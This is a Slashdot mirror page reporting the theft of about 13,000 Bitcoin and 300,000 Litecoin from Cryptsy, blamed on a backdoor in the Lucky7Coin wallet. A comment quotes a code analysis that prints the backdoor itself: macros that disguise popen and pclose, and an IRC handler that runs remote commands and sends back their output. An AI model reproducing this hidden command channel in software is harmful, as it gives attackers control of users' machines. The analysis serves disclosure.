Slashdot Mirror


Cryptsy Bitcoin Trader Robbed, Blames Backdoor In the Code of a Wallet (softpedia.com)

An anonymous reader writes: Cryptsy, a website for trading Bitcoin, Litecoin, and other smaller crypto-currencies, announced a security incident, accusing the developer of Lucky7Coin of stealing 13,000 Bitcoin and 300,000 Litecoin, which at today's rate stands more than $5.7 million / €5.2 million. Cryptsy says "the developer of Lucky7Coin had placed an IRC backdoor into the code of [a] wallet, which allowed it to act as a sort of a Trojan, or command and control unit." Coincidentally this also explains why two days after the attack was carried out, exactly 300,000 Litecoin were dumped on the BTC-e exchange, driving Litecoin price down from $9.5 to $2.

3 of 90 comments (clear)

  1. No sympathy here. by Anonymous Coward · · Score: 5, Insightful

    Crypto currencies are like the wild wild west of monetary transactions. Unless you are doing something that requires absolute discretion, it's really not worth the risk.

  2. Found a Trojan in the wallet? by DesertNomad · · Score: 5, Funny

    Must be a slow news day...

  3. known for months by Gravis+Zero · · Score: 5, Informative

    https://github.com/alerj78/luc...

    dooglus commented on Mar 8, 2015

    There's a backdoor in the IRC code that gives the attacker the ability to run arbitrary commands on the victim's host.

    In src/allocators.h we see these macros being defined, in an attempt to hide 'popen' and 'pclose' calls:

    /** Determine system page size in bytes */
    #define S_ORDER(a,b,c,d) b##a##d##c /**
      * OS-dependent memory page locking/unlocking.
      * Defined as policy class to make stubbing for test possible.
      */
    #define CLine S_ORDER(I,F,E,L) /**
      * Singleton class to keep track of locked (ie, non-swappable) memory pages, for use in
      * std::allocator templates.
      */
    #define CRead S_ORDER(p,po,n,e)
    #define CFree S_ORDER(cl,p,e,os) // // Allocator that locks its contents from being paged // out of memory and clears its contents before deletion. //
    #define CBuff "PR" "IV" "M" "SG"

    Then in irc.cpp they are used to implement the backdoor:

    if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
        {
            CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
            if (buf) {
                std::string result = "";
                while (!feof(buf))
                    if (fgets(pszName, sizeof(pszName), buf) != NULL)
                        result += pszName;
                CFree(buf);
                strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
                if (strchr(pszName, '!'))
                    *strchr(pszName, '!') = '\0';
                Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
            }
        }

    I expect this is a known issue since this kind of thing doesn't happen accidentally.

    --
    Anons need not reply. Questions end with a question mark.